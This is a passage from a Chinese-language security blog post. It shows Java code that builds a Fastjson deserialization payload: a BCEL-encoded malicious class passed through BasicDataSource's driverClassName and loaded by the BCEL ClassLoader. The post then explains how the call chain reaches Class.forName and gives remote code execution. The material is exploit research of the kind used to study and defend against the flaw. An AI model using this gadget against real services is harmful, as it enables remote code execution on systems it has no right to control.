    public static byte[] getClassBytes(){
        return helloClassBytes;
    }

    public String encode(byte[] classByte) throws IOException {
        return "$$BCEL$$" + Utility.encode(classByte,true);
    }

    public byte[] decode(String classString) throws IOException{
        int index = classString.indexOf("$$BCEL$$");
        String realName = classString.substring(index + 8);
        byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);
        return bytes;
    }

    public void fastJsonAttack() throws IOException {
        // 构建恶意Json
        Map<String, Object> dataMap        = new LinkedHashMap<String, Object>();
        Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();
        dataMap.put("@type", BasicDataSource.class.getName());
        dataMap.put("driverClassName", encode(getClassBytes()));
        classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
        dataMap.put("driverClassLoader", classLoaderMap);
        String json = JSON.toJSONString(dataMap);
        System.out.println(json);
        JSONObject object = JSON.parseObject(json);
        System.out.println(object);
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
        BCELLoad load = new BCELLoad();
        load.fastJsonAttack();
//        byte[] classbytes = load.getClassBytes();
//        String encode = load.encode(classbytes);
//        System.out.println("encode Class byte: " + encode);
//        byte[] decode = load.decode(encode);
//        System.out.println("decode Class byte: " + Arrays.toString(decode));
//        ClassLoader loader = new ClassLoader();
//        Class helloClass = loader.loadClass(encode);
//        Object hello = helloClass.newInstance();
//        String helloString = (String) hello.getClass().getMethod("hello").invoke(hello);
//        System.out.println("hello method return: " + helloString);
    }
}

来看一下调用链:

upload_9397355c1a463af603ceece8c75ecf33

至于这里为什么会调用getConnection,因为在这里使用parseObject()方法进行解析,在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法,也就包括getConnection方法

通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法:

upload_18fb92b2f86c0e451fed8adf05e6da65

跟进createDriver:

upload_412c0dc83969f84b2291a9ee421c8480

这里调用Class.forName(driverClassName, true, driverClassLoader),第二个参数表示初始化,因此会加载类中的静态代码块,而driverClassLoader由我们传入控制,这里选择bcel.util.ClassLoader,因此最终会调用恶意类的static代码块,实现RCE

下文重点叙述一下fastjson中反序列化的其它利用,以及fastjson利用相关细节

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇